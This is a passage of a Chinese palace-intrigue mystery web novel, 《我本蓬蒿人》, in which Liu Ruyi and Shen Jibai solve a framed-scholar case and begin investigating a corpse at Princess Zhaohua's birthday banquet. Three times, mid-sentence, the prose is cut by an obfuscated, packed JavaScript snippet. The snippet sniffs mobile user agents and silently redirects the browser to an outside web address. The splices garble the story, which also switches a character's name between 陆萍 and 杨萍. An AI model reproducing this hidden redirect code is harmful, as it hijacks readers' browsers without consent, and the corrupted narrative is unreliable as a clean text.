《我本蓬蒿人》 2. 探查杨府 桃月十六，杨府张灯结彩，宾客盈门。 太仆寺掌马政一事，兵马司若需用马，则会同兵马司申请。故柳如意也曾和杨亭打过几次交道。 只见杨亭瞧见柳如意，立马笑脸迎过来，“柳指挥使里面请。” 柳如意将手上的贺礼递给了一旁随从，“昨日和兵部李主事闲聊时，听说杨寺丞的喜事，就咱们这交情，自然要前来贺喜一番。只是囿于时间过于匆忙，准备了些薄礼，还望杨大人不要嫌弃。” “官人能来，已是鄙府的荣幸。”说完，见柳如意身后之人，虽粗布麻衣，气质甚是不凡，问道，“这位官人是？” 柳如意答道，“家中的随从。” 两人客套了一会，杨亭将柳如意安排妥当后，又忙着去接待其他客人。 宴堂中，轻歌曼舞，觥筹交错，好不热闹。 晏堂中间被几堵屏风隔成前、后两块，前块坐着多位朝中官员，后边坐着的就是各家带过来的女眷。 沈暨白望着屏风后，“陆家家规严，未出阁女子不会来前堂的，她们会在屏风另一侧和女眷一起用餐。你找机会前去后堂，探一探陆萍口风。” “好。”柳如意身份特殊，因其是朝廷命官，圣上钦点的将军，故也被安排在前堂。 不过，她又是女子，今天又是一袭女装，在场也没几位认识她的人，故很容易地混进了后堂。 后厅中，人来人往。 柳如意正后悔今早出门前没问别人要一张陆萍的画像，就听见嘈杂的大厅里面传来一声嘲讽声。 “哟，这不是陆三小姐吗？听说未婚夫还在刑部关着，今儿竟还有心思出来呀，我还以为会待在内院不出来了呢？“这个人正是安平县主赵多乐，景元帝的弟弟端阳王赵钎的独女。 柳如意悄悄凑近，就听见人群后面两人窃窃私语，“她两关系不是挺好吗？为何如今到了如此水火不容境地。” “听说是因为班公子。” “琼姿皎皎，满腹才情的班若公子？” “对啊，听说安平县主对这个班公子一见钟情，可是妾有情朗无意，这班公子竟喜欢早有婚约的陆萍，可惜了，本来两人关系挺好的。” “是啊。”女子话语一转，喟叹道，“不过提起容貌、才华，却是不及都察院沈大人万分，英姿洒落，眉宇清扬，可谓有匪君子，如切如磋……可惜，也只是传言，京中没几人见过其真容。” “咳咳咳……”听墙角竟然听到了“熟人”头上，柳如意眼前闪过沈暨白俊脸，轻叹道，“确实长了张俊脸，可惜是个面瘫儿。”尤其是，知道官员考核改革是沈暨白提出来时，越看其越不顺眼，当然也只能“敢怒不敢言”。 柳如意含着一颗枣，一边听两人的话，一边内心蛐蛐着沈暨白。 一不小心做了个吞咽动作，被枣子给噎到。 咳嗽声有点大，吸引了赵多乐一群人的注意，柳如意刚想躲，就见赵多乐道，“你是何人？若是对本县主有何不满？直说便是。” 柳如意拂身行礼，“见过县主，刚才咳嗽，是因为小女吃东西时不小心被噎到了，并无冒犯县主之意。” “不过，小女有句话不知当讲不当讲，怕说了，惹县主不悦。” “但说无妨。” “所谓人逢喜事精神爽，小女子见陆小姐眼下乌青，神态憔悴，想必也是日夜为张公子担心，今日其侄子满月，估计也是唯一慰藉她的事了。”说完语气一转，露出担忧之色，“县主担心陆小姐，恐其在宴会上因思虑过度而出糗，小女子实属清楚，可是人多眼杂，怕县主一番好心被他人误解，坏了县主名声。” 一顿话下来，竟然赵安乐挑不出一点问题，而且，字字句句提醒着她，此地非县主府，不是其能胡作非为的地方。 因柳如意常年官袍，平日里不是在武场，就是在兵马司内，很少出席这种宴会，故京中女子大多数不认识。 而被堵着无话说的赵多乐良久才堪堪地来了句，“你是哪家姑娘？” “回县主，小女子是沈珩远方表亲柳朝，因家父生意萧条，导致府中破败，前阵子来京投靠表哥。前日，表哥得知杨大人举办满月宴，便让我来此宴会，想着能同各位姐姐学些京中规矩，免得日后做错事，落了口舌，被他人笑话都不知。” 京城中，众人皆知沈暨白温润如玉，也知晓他深得圣心，故谁也不想惹他，亦不敢惹他。 于是，之前熙熙攘攘的人群也就慢慢散了。 柳如意挑了个角落，坐了下来，又开始吭哧吭哧地吃着桌上的枣。 已经下了鱼饵，就差鱼咬勾了。柳如意翘着脚，吃着枣，好不惬意。 期间，有几位大胆的女子前来问了暨白的喜好，被柳如意胡诌过去。 “柳姑娘，请问柳大人喜欢什么呀？” “喜欢枣。” “柳大人喜欢怎样的女子？” “肩若削成，腰如约素，延颈秀项，皓质呈露。丹唇皓齿，明眸善睐，仪静体闲……” “柳大人喜欢什么颜色？” “朱色。” “啊，不是青色吗？”女子低声喃喃道，“那估计是之前信息有误。” 在打发了一波人后，一梳着双平髻，身穿浅绿的袄裙向柳如意走来，拂了个礼，“小姐，我家小姐想和您聊一聊。” “柳大人，感谢您刚才为我解围。”陆萍起身施了个礼。 柳如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537355|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意垂眸，“杨小姐果真是聪慧，冒昧问一句，你是如何发现我身份的？” “大人刚才直接是从前厅过来的，而女眷一般都是由府中的小厮从另一侧门引进来，这是其一。” “大人腰间挂的玉洁白细腻，呈半透明状，上有双龙盘旋，想必是御赐之物，这是其二。” “大人身姿矫健绝伦，步伐稳健，不似一般闺阁女子娇滴柔弱，一看就是常年习武，这是其三。” “再加之，家父曾多次在小女面前夸过大人，结合种种，小女便大致猜测了大人的身份。” 柳如意闻言，开始上下打量起眼前的女子，女子薄妆桃脸，花容月貌，一身白色云丝长裙，薄雾紫色烟纱的外裳，虽相貌一般，但是一双眼睛娴静淡雅，另有一股动人气韵。 “那杨小姐见我，不单单只是为了表谢意吧？”柳如意斜靠在木椅上。” “想请大人帮个忙，让小女子见上张公子一面。” “古有韩信一饭千金，你又非韩信，我亦不需要千金，为何冒险帮你？”柳如意手指轻叩桌面，试探着来人。 杨萍眸色顿时暗了下去，许久，又恢复了以前的澄亮，咬了咬牙，“你若帮我见上他一面，事毕，小女子必告诉大人事情原委。” “好。明日午时三刻阳江楼见。” 正午的太阳，无情地烤着大地，炙烧着脚步匆忙的行人，让其更加焦急。 杨萍在柳如意的帮助下，趁着牢中侍卫换值时，偷“溜”进去。 虽已到了晚春，牢外烈日炎炎，但整个牢房内，阴冷冷的，缕缕阳光透过窗棂散下来，也驱散不了骨子里的寒。 张晏被关押的地方位于牢房的转角处。 “晏郎……” 张晏闻声，转过头，眼神惊愕，“你怎么过来了？” 才关进来没几天，原本意气风发的少年郎满嘴胡渣，眼神有些空洞，身形已满是憔悴。 “你不应该如此……”一颗泪从杨萍眼角滑落，“一切不应该这样的，也该重回正轨。” 隔壁案房内，两人躲在暗处。听到这句话，大惊一声，“不好。” 可惜赶过去的时候已经晚了，杨萍已服毒自杀。 张晏盯着来赶来几人，眼神空洞，未言语，转身朝铺上躺了下去。 牢房外，一身着白色，梳着双平髻的女子在马车旁左右徘徊，此人正是那天杨萍身边丫鬟。 那人见柳如意出来，从袖中掏出份暗黄信笺，上前递了过去，“柳大人，这是我家小姐让我给你的。” 柳如意接过信，将其递给沈暨白，又朝丫鬟问道，“她是何时写下这信的？” 白衣丫鬟答道，“昨晚宴会结束后。” 4. 班若之谜 “班若，因祖父许氏参与贪墨案，全家上下被籍没为奴。其母被安排只翰林院侍讲张维府中，侍奉其夫人赵岚。因赵岚同前大理寺少卿夫人吴卿为手帕之交，两人经常互相走动，而班若也随许氏住在林府，因其长相乖巧，为人礼貌，聪明伶俐，深受府中人喜欢。有次意外被少卿夫人撞见，深受其喜欢，加之班若又与林府二公子林怀年纪相仿，遂被选为林怀试读，破例在国子监求学……” 见柳如意看完“班若”的卷宗后，沈暨白又补充道，“奇怪的一点是，案宗中其父信息一字未提，后来，我差人前往许氏老家探究情况，竟意外撞见当初为许府供菜的人家，发现班若阿父其实就是翰林院侍讲张维，也就是说，班若其实就是张晏同父异母的亲哥哥。” “所以许氏在张府当差也不是意外？而是有人蓄意为之。”柳如意搘颐凝眸道。 沈暨白点了点头，“张维同许氏本是青梅竹马，两家自小也为两人订下娃娃亲，只是后来许氏出了贪墨案被抄家的事情，张府为撇清干系，立马上门退了这门亲事……只是可惜了许氏，一朝梦醒，荣华散尽，还摊上了个“珠胎暗结”的名声。” “那到底是谁将许氏安排在张府的呢？张晏？”柳如意摇头道，“京中人都知道张维是靠赵岚父亲吏部右侍郎赵秦大人一路提携至此，故其外格外惧内。且，当初，其不顾年少情谊，在许氏落魄时候退亲，可见，其不是个重情之人。故，其不敢，亦不会将许氏安排在自己府中。那背后之人究竟是谁呢？” 沈暨白眉眼微蹙，摇头道，“太常寺经手此事的官吏前几年告老还乡，突发恶疾离世，故也查不出什么线索……但是，有一点绝对毋庸怀疑，班若是许氏报复张维的工具。” 柳如意不解道，“若是有人蓄意将许氏安排在张府，但是张维为何不随便找一借口将其赶出，难道他不怕许氏报复，捅出当年的事情，告至赵岚那边，弄得张府鸡犬不宁？” “因为许府抄家后，许氏被许府仇家划破脸颊导致毁容，且太常寺当初遣送奴隶时，也只是说的罪臣之女，其他并未多说，故张维根本就不知道许氏就在自己府中……后，景元二十四年，陛下大赦天下，许家才脱离贱籍，班若也因此恢复平民身，获得科考资格。” “那班若接近陆萍，是为了报复张家？陆萍以死谢罪亦是为了遮掩班若犯罪行迹？”结合种种线索及提示，案件原委在柳如意脑海中逐渐清晰。 沈暨白点头道，“嗯。” 窗棂外，夕阳已褪去，一轮明月不知何时悄然升起，洒下一片柔和银辉。忽一阵晚风吹过，让屋内凉快了许多。 “沈大人，如意还有一点小疑惑，想请大人帮忙解惑。 沈暨白抬起下颌，示意其接着说。 “武举贡士案，想必以大人的明察秋毫，早已查清。为何不直接禀告刑部或者圣上，而是一直放线索给我？从之前送兵书，意欲告诉我别被‘以假乱真’之相蒙蔽双眼，到班若的卷宗，告诉我他的身世信息……”武举贡士案虽基本已揪出元凶，但是背后疑窦重重，牵扯极广。仿佛背后有一人在操控一盘大棋，而自己也在不知觉间步入棋局当中，成为当中的一枚棋子。柳如意越想越后怕，脸色有着些许雪白。 又一阵晚风吹过，带着一抹寒意，吹得檐下的铃铛沙沙作响。 沈暨白眼神短暂地凝视了会如意，墨色眸中藏着探究，不过，很快回正了过去，“你在怀疑我？” 柳如意有些心虚地摇头道，心中暗道，这可是自己绩效的考核官、阎王爷，为了奖金暂时还得罪不起，且，自己身为礼部尚书柳如意之女，长姐柳如烟为当朝太子妃，兄长柳祈安为詹事府少詹事，有些事情，她无法避免。 遂急忙解释道，“不是，大人为官清明，怎么会害下官呢？而且，若是大人想害我，刚才也就不会帮我躲过班若。” 沈暨白眸色沉沉，“你只需知道一点，我们暂时非敌对……” 柳如意闻言，心中更是疑惑，“暂时”作何解释？他们会一直保持这种平和的关系？ 但见沈暨白脸色沉沉，明显深谈此话题的想法，遂也未接着问下去。 回到南城兵马司后，礼部也恰好将班若的卷宗整理送了过来。 于是，柳如意立马差人将礼部送来的班若卷宗以及案件文书递给刑部，只等刑部批下文书，便可以带班若前来问讯。同时，柳如意又安排几人暗中跟踪班若、徐琳行踪，若是发现他俩有逃匿意图，立马将其羁押至兵马司。 因涉及武举贡士，刑部也不敢耽搁，翌日，便将文书批了下来。 柳如意遂带上官兵前去逮捕两人。刚开始两人死活不承认，直至沈暨白将许老管家送至公堂对峙，班若才堪堪说出实情。 本是跪在地上的班若突然站起身来，眼中竟是嘲讽，整个人近乎癫狂地吼道，“对，人是我陷害的。他张维一个薄情之人，抛妻弃子，为何却能仕途亨通，家庭美满？这不公平……” 班若露出阴鸷的笑容，同其温柔俊朗的脸格格不入，衬得整个人格外恐怖，“于是，我设计令张晏未婚妻陆萍落难，然后演了场‘英雄救美’戏码。后来，我又屡次设计，营造与其不经意的偶遇……陆萍喜欢诗词歌赋，我就投其所好。为其写诗赋词，好女怕郎缠……哈哈哈，她果然不出所料的爱上了我。” “其中，她也囿于儒、礼思想，欲同我断了这段孽缘，于是，我便佯装自杀，她终是于心不忍，欲行不韪之事，同张晏退婚……而我早就听闻张晏是个武呆子，虽不好儒家之学，确是极注重礼学之人。笃定他绝对是不会轻易同意的，到时必定请求父母定夺，果然如我猜想一般。” 柳如意闻言，质问道，“于是，你便给陆萍支招，让其将张晏约出来，然后，引其入局，来个醉酒强占民女的戏码？” “对，侜张为幻，我向陆萍承诺，定不会将此事闹大。只需张晏愧疚，到时，其便会主动退婚……她果真是天真，在我的怂恿下，竟然真的信了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537357|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “后来，我假借陆府的名义，给狱中的张晏送去冬衣，衣服夹层里面夹着块玉。” “这块玉，是张晏送给陆萍的定亲信物。” “而之前张晏曾允诺陆萍，凭此玉，可以许其一愿。这个节点送玉，聪明人自是能勘破表意。所以，班若才改了口供，承认其强占民女的罪名。” “后来，陆萍发现了，也因为此事找过我，我也都认了。只是，没想到，她竟然自杀了，并将一切过错都揽了过去。” “那可是真心待你之人，你怎忍心如此利用她？”柳如意叹息道，明明是上辈人的恩怨，为何要加诸于身，弄个损人害己的结局。 班若愣怔了会，笑了起来，却是格外狰狞，“没想到，竟然被我碰上两个‘一根筋’，一个义无反顾践诺，一个……” 班若没接着说下去了，停住了，因为他发现竟找不到词形容陆萍，简直格外讽刺。 “那你后悔吗？”柳如意问道。 “后悔吗？”班若双眼迷茫，思绪飘往远方，似是想起两人第一次相见。 那日，其陪安平县主踏青，粉衣翩跹，路经同华寺祈福，因身份不能进皇家佛庙，只能远远对着佛像虔诚许愿。 菩提树下，粉衣女子双手合十。祈愿父母姐妹安康顺遂，平安一世。 阳光洒在身上，衬着整个人明媚极了，好像那一刻那抹明媚也照进了他阴暗的内心，可惜只是照亮了一角。 “好像你还是离着太远了，佛都没听到你许的愿望。”班若喃喃道，“下辈子，我带你去离佛近一些的地方祈福。” 翌日，刑部联合礼部将贡士武举案上报景元帝。因污蔑当朝贡士，班若被处以死刑，许琳判流放西北，永世不能回京。 而受害者张晏，为人端正，有情有义，被封为正七品致果校尉，为武举子之楷模。另，景元帝特增加武举进殿试举子一成，以褒扬武人之性情纯粹。 而柳如意断案有功，被封为大理寺左寺寺正。 “沈大人，请留步。”竟然案子已经按期办结，也该找沈暨白谈谈官员考核一事，早点还清债务，早些“脱身”。故早朝过后，柳如意急忙喊住沈暨白。 “恭喜。”沈暨白作揖道。 “都是因为大人的提点，等殿试之后，也临近端午，不知大人是否有空？一起品香粽，赏龙舟，也正好表示如意的感谢之情。”柳如意双眼紧张地沈暨白，生怕其拒绝，不过，其也早想好后招，实在不行，搬上柳父约他一叙。 或是看穿柳如意想法，沈暨白点了点头，眼神中似有笑意闪过，“嗯”。 殿试顺利结束，武子们亦欢呼。为重情重义、性情淳朴的张晏赞叹，亦为景元帝额外增加武士举子进殿试的举措而额手称庆。 昏暗潮湿的牢房内，几盏油封闪烁着微弱的光，被风吹得摇摇晃晃，映照在墙壁上，投下了一个长长的影子。只见一男子身穿囚服，朝着牢房外拜了拜，拜完后，往墙上撞了去。 5. 端午邀约 五月五日，薰风自南至。 下值后，沈暨白便匆忙往府里赶去。 管家李缪正在门口安排下人挂艾叶，见回府的沈暨白，疑惑道，“大人今年怎比往年回来早这么多？奴才这就吩府厨房加快炊煮速度。” 沈暨白摆了摆手，“今晚友人邀约，就不在府中吃了。” 说完，就回房换了件朱色圆领窄袖右衽袍衫，出门去。 留管家一人立于庭院中纳闷。 两人相约在济安桥边的一食肆内。 沈暨白前脚刚到，柳如意也随之到了。 柳如意上穿淡立领大袖长衫，下穿绣花马面裙，明眸皓齿，秀雅绝俗。 两人坐在靠窗的位置，朝外就能望见济安桥上热闹的景象。 彩线轻缠红玉碧，小符斜挂绿云鬟。彩线缠臂，以祈安康；亦有桥边人用五色花线缠角黍投江，以吊屈原之魂。 鼓击春雷，直破烟波远远回。观竞渡，呐喊声不绝于耳，好不热闹。 对比桥上的热闹，食肆显得有些冷清。 案桌旁，两人面面相觑，相顾无言，一片沉默。 倏忽，店小二殷勤地端上了一道桂花鱼，柳如意急忙从筷筒中取出双竹筷，用帕子仔细擦了擦碗筷，在鱼肚上挑了块鱼肉，“沈大人，桂花鱼是这家的特色，鱼肚这块更是鲜美无比，你尝尝？” 沈暨白接过碗筷，鱼肉入口即化，带着桂花淡淡清香，没有一丝腥味，“不错。” “听说大人祖籍为湖广一带，那块鳜鱼很是肥美，要是能用上湖广一带的鱼，想必味道更为上乘。” 说完，叹气道，“可惜，京城离湖广一带甚是遥远，以驿站日常速度，这鱼还未到京中便已不新鲜；要是快马加鞭，以良驹接替运之，成本甚高。” 沈暨白点点头，似是被柳如意情绪感染道，“若是有机会能同去湖广，到时候定请你吃家养的鱼。” 沈暨白，字珩，出生于江陵人书香世家，自小天赋异禀，七岁能成诗，景行二十五年高中状元。为官后，为人清白正直，为国为民，深受景元帝喜欢，从翰林院侍读学士擢升至都察院右都御史。 京城、湖广两地相隔数里，加之沈暨白公务繁忙，故已有许久未前往老家看望高堂。虽曾也数次想将家人接至京城同住，但都被沈父拒绝，只派来管家李缪照顾其起居。 ”大人，想问您一件事。”柳如意桂花鱼甚是合沈暨白胃口，遂又挑了几块鱼肉，殷勤地朝沈暨白的碗中夹去。 沈暨白闻言，放下碗筷，示意其直说。 柳如意搓了搓小手，“大人，武举贡士案我按期破解，按照考核办法：被皇帝嘉奖5分，破解重大案件4分，每按时完成紧急督办评为优秀1分……那我是不是加10分。” 沈暨白白了眼柳如意，“一个案件，不能重复记分，考核办法有注明这点。” “那我选5分吧。”柳如意表面委屈道，实则早已内心欣喜不己，毕竟年底奖金算是保住了。 忽然，一熟悉声音传来，“阿妹，难怪今晚不在府中一块吃，原是偷偷背着大家出来赴佳宴了呀？”此人正是柳如意的大哥柳祈安，只见其搬来一凳子，在桌案的另一边坐了下来。 柳如意瞧了一眼沈暨白，急忙解释道，“端午当天，阿姊会同陛下、皇后娘娘一块用家宴，所以我们家端午家宴都会选在后一天。” 说完，又朝柳祈安瞪了眼，“你怎么也来了这？” “本来想去找暨白兄对弈的，但是去都察院也没看到他……后来，回府中，发现你不在，听娟儿说你来这，遂就寻了过来。” “只是，没想到，沈大人竟然和舍妹在一块。”柳祈安又用扇子指了指沈暨白衣服，打趣道，“大人这一身朱色甚是少见。” 提到朱色，柳如意顿时心虚起来，想起上次杨府满月宴上冒充沈暨白表妹，随口胡诌的事情，立马低下头。 沈暨白眼神往柳如意这边偏了眼，“近日，京中传言我喜朱色，今日一穿，果真不错。” 柳如意听完更加心虚了，头埋得更深了。 柳祈安见阿妹“鹌鹑”模样，立马明白为何最近沈暨白上下值路中，总会出现些朱衣女子。原来罪魁祸首竟是阿妹，遂立马转移话题道，“大理寺适应的如何？” 柳如意投去一感激眼神，“还行，案件不算多。” 柳祈安猛然想起一件事，问道，“哦，对了，说起案件，前阵子，‘武举贡士案’罪魁祸首班若突然在牢狱中撞墙而亡，死状甚是奇怪，整人几乎呈跪拜状。大家私底下猜测，其属于孽缘太深，阎王令其前去赎罪呢。” 柳如意不屑瞥了眼，“大哥，你啥时候信上这些牛鬼蛇神之说。” “我只是陈述别人的话……”柳祈安手指轻弹柳如意脑门，“听者无心，怕是说者有意。” 三人彼此对视，缄默无言。 吃完后，三人又来到济安桥畔。 夜晚的河畔格外热闹，市列珠玑，户盈罗绮，好不热闹。 柳祈安走在前面，柳如意、沈暨白一左一右，往来的人群推推攘攘，柳如意走在外边，尽量将人群与沈暨白隔开，像极了一位贴身侍卫。 “下个月，昭华长公主生辰宴，你们去吗？”柳祈安在一卖花灯的小摊前顿足道。 两人点了点头。 一小贩殷勤地递上三盏花灯，“大人，要不要来几盏花灯，以驱除厄运，祈佑安康？我这花灯可是灵验。” 柳如意赶忙上前，从商贩手中接过三盏花灯，挑了一盏最精致的鲤鱼花灯朝沈暨白递去，“大人，要不要许个愿？”说着，又递去一支笔。 沈暨白本就不信神佛，自然也不屑于祈福，但见柳如意殷勤笑脸，不想扫其兴致，遂也接了过去。 很快，柳如意便写完心愿，急忙拉着柳祈安、沈暨白往水边走去。 济安河面，样式各异的花灯高低起落，点点灯火随风摇曳，宛若一层层跌进水中的繁星。 河水中，有三盏花灯本是并挨在一块，谁料，其中一盏龟甲灯不知何时撞上石头，搁浅在原地，透过月光，模糊可见灯面写着一行小字——顺遂无虞。 两外两盏灯，一前一后，前头一盏鲤鱼灯无字，后一盏密密麻麻写着——愿岁岁年年考核及格，奖金到手，月例破格。 六月廿三，华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537358|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯初上，长公主府内灯火通明。 昭华长公主，字妍，景行帝的胞妹。因先皇子嗣稀少，加之赵妍和他均为皇太后所生，后更是在景行帝争储时，因救景行帝一命导致脸部毁容，深得圣宠。 昭华长公主有一子，名胡榭，现任户部左侍郎。 因昭华公主晚年得子，故对胡榭格外宠溺。但也并未助长其养成骄奢无理的性子。 虽说资质平平，为人也不算聪慧，但对外为人一直谦和有礼。 如今，胡榭已到加冠年纪，故本次生辰宴表面上是贺祝昭华长公主生辰，实则为胡榭挑选媳妇。 因此，请帖除了发给京中的大臣，还发给了京城中一些适龄且无婚配的名门贵女，意图格外明白。 酉时，怀仁皇后亦携了几位宫中嫔妃前来贺寿，“长公主，陛下今日有事不能前来，为表歉意，特意让我等给长公主带来生辰礼物。” 说完，一内侍捧着主色檀木盒，里面放了个精致的三足鼎狮钮缠枝花卉鎏金铜胎掐丝法郎熏炉。 “听说您喜欢，陛下特意从西域寻来的。” “陛下有心了，替我谢过陛下。”昭华长公主身穿朱红锦绣长袍，绣有金线银线的花纹，在灯光映照下熠熠发光。 贺完昭华长公主后，众人就随意在宴会园中逛，吃酒喝茶，赏灯听曲。 ”听说昭仁长公主看中了户部尚书之女许甄。”柳如意坐在柳祈安身旁，嘀咕道。 柳祈安顺着柳如意的眼光看去，昭华长公主边上不知何时坐了个女子，身着素衣，头插一只墨色梅花样式玉簪，额间点着梅花钿，唇不点而红，眉不画而翠，是个难得的美人胚子，“样貌确实不错。” “大哥喜欢这样的女子呀？我回去就跟娘说，以后就按照这个样貌安排。” 柳祈安白眼道，“你大哥是这么肤浅的人吗？” 柳如意咬下枣子，点了点头，“是的。” 柳祈安明白，对于他们这种官家子弟，姻亲本不是他们可以选择的，无非都是些门当户对，强强结合罢了。 闲着无聊，柳如意从怀中掏出本话本，躺在靠椅上看了起来。 “少看些话本，若是无聊，可以看看棋谱。如需找人练习，可以寻暨白下棋，虽他棋技不及大哥我，但对你，绰绰有余。” 柳如意白眼道，“你景行二十五年榜眼，他景行二十五年状元，他不如你？” 柳祈安轻啧，“科考又不考棋艺，若考，我定棋高一等。” 柳如意轻笑，未拆除，“对了，前几天，他不是说也会来参加此次寿宴，本想跟其打探朝堂考核动向？” 柳祈安答道，“他今日有些急事未处理完。” 柳如意撇了撇嘴，“果真是拼命十三郎。听曲不香吗？吃食不好吃吗？” “确实”，在柳祈安认知里，沈暨白一直克己守身，为国为民之人，满身心扑在朝堂上，但是为人性情冷淡，之前与其在翰林院共事的一年，两人中，自己永远属于热情的那位，功夫不负有心人，终在自己的不懈努力下，两人混成了棋友。 突然，人群中传来一声惊叫声，打破了本属于夜晚的寂静。 6. 突现女尸 叫声惊动周边人，众人惑然，均上前一探究竟，导致围着的人越来越多，挤满了竹林外的河边。 很快，消息便传入了长公主耳中。 昭华长公主闻言，立马差人前去请金吾卫。随后，又以身体抱恙之由结束寿宴，遣散了众宾客。 待宾客走完后，立马行色匆匆地朝后院赶去。 而柳如意前脚欲踏进轿内，便被一内侍赶忙拦住。 来人正是昭华长公主身边当红的内侍孙萍，柳如意作揖道，“公公可是什么急事？” 孙萍上前一步，低语道，“大人，长公主后院突现一具女尸，大人贵为大理寺寺正，有审理案件之权。故，昭华长公主想请大人帮忙查案，还长公主府清白。” 又来？刚结束一案，还来？ 柳如意心中满是烦闷，又觉得甚是纳闷，刑部主审理案件，而大理寺多为驳正冤、错案件。今日，刑部左侍郎也受邀赴宴，为何长公主却请自己前去查案。 同时，这场寿宴，真正目的是为胡榭选妻，而为何却整场寿宴都没有看到其身影。虽昭华长公主也解释缘由，言胡榭因为其祈福，跪于家祠，后祠堂不甚走水，因而受伤，躺于榻前修养…… 种种疑窦，似迷雾般笼罩着柳如意，让人看不真切。 在往后院赶途中，内侍也将事情大概向柳如意描述了番。 等赶到时，只见金吾卫已绕河围了一圈，周围的人也被遣散得差不多，余下发现尸体的刑部右侍郎嫡女权欣、钦天监监正次女徐慧，躲在竹林旁的一角，蜷缩着身子，瑟瑟发抖。 “长公主。”柳如意俯身行礼道。 “嗯。”昭华长公主抬起下颌朝竹筏处指去。 柳如意示意，神情镇定地往竹筏那处走去，眼睛快速扫视四周。 公主府依护城河而建，府中河水亦是自护城河流入。 而竹筏正是自河流上流漂流而下，行至公主府，撞至岸边的石头，致使搁浅在岸边。 竹筏上的女子浑身湿漉漉的，单穿件宽松里衣。尸体皮肉颜色泛黄，不知何时被河水的衣袖下，漏出一道道狰狞的猩红鞭痕。深深浅浅，大抵就是旧伤还未好，又增新伤。 柳如意仔细查看了番尸体，便将人交给了仵作，便往权欣、徐慧方向走去。 两人被吓得不轻，脸色惨白，惊神未定，身体仍在忍不住地哆嗦。 柳如意蹲下身子，向两人递去热汤，轻抚两人的后背，慢慢地问道，“你们当初是如何发现这具女尸的？” “我们在后院赏花时，听见有猫惨叫。便寻着猫声找到这儿，然后，就见一东西从远方飘来……”喝了些热汤后，权欣脸色略有些恢复，回答道。 柳如意点头道，“你们来后，可曾看到其他人？” 权欣摆头，“没有。” “你们有见到猫？” “有。全体通白，但见到我们后，立马往林中窜去，没了踪影。” 问完问题后，柳如意心中已明白了大概，遂朝昭华长公主走去，“长公主，微臣已大概掌握案件经过。待臣回去后，定将详细写下案件细节，交刑部处理。” 长公主摆手，“不必，本宫相信大人能力。这个案子，就交由大理寺来办。具体事宜，明日本宫会亲自进宫请陛下定夺。” 昭华长公主语气坚决，不容推脱。柳如意只得应下。 翌日，宫中就传来景元帝口谕，指定竹筏女尸案由大理寺大理寺寺正柳如意亲自办理，查明原委。 与景元帝口谕一块来的，还有六部的收发文簿。 天气阴沉，乌云密布，将太阳遮得严严实实。 柳如意负手立于廊庑下，焦躁着来回踱步，整件案件太多疑点，她整个人就像置身于巨网当中，被死死罩住，看不到一丝光亮。 戛然，瞥见堂内方桌上的棋谱，它正是大哥柳祈安前阵子差人送过来的，因公务繁忙，故随手扔在了一旁。 又突然想起兄长的话，“没事的话，可以去找暨白下下棋。” 遂抄上一把竹伞，匆忙将桌上的文书收拾好，朝都察院走去。 都察院内，沈暨白端坐在案边，认真翻看着疏奏，圈圈点点，甚是严肃。 柔和的烛光映照在他的脸庞，丝毫掩不住其眉宇间的那缕英气，反而显得眉如墨画，目色清明。 良久，沈暨白才批完右手边的一堆疏奏。或是坐了许久，脖子有些酸痛，遂起身转动起头，活络筋骨，这才悠悠看见柳如意，“你何时过来的？” 本就是不请自来，柳如意急忙摆手，“刚来没一会，怕打扰你，就没让内侍禀告。” 沈暨白点了点头，“可是有什么事？” “也没什么。”柳如意本来是想来和他探讨案件，但看他神情疲惫，便打消了这个念头。 沈暨白瞧了翘柳如意，一双墨色眼眸似乎已将人看穿，“陪我下局棋吧，有些累了。” 沈暨白这盘棋，一改往日“徐徐图之”温和风格，棋路格外大胆，每一步棋直压一处围攻，招招记记杀气腾腾，黑子连发，一路攻破。 柳如意丧气地放下棋子，“我输了。” 沈暨白未言语，而是伸手拿掉棋盘上的一个黑子，顿时，本来霸气围攻的黑子顿时失去了气势，成为刀俎下的鱼肉，令人随意宰割。 “这黑子？陛下？”柳如意恍然大悟道。 沈暨白点了点头，“昭华长公主是陛下的亲姊妹，而且之前救过陛下一命，若非大逆不道之事，陛下必定都从她。” “那为何交办大理寺处理呢？而非刑部呢？” “为了顾及长公主的名声，不想事情扩大，死人的事情，自然是越少人知道越好，因此，事发后，长公主只留下金吾卫、大理寺的官员，而这两个部门又是仅听命于景元帝，不受六部控制，所查所办之事更无需向六部报告。” 回到大理寺后，柳如意便立马让侍卫李衡前去打探胡榭的消息，自己又只身一人前往仵作处赶去。 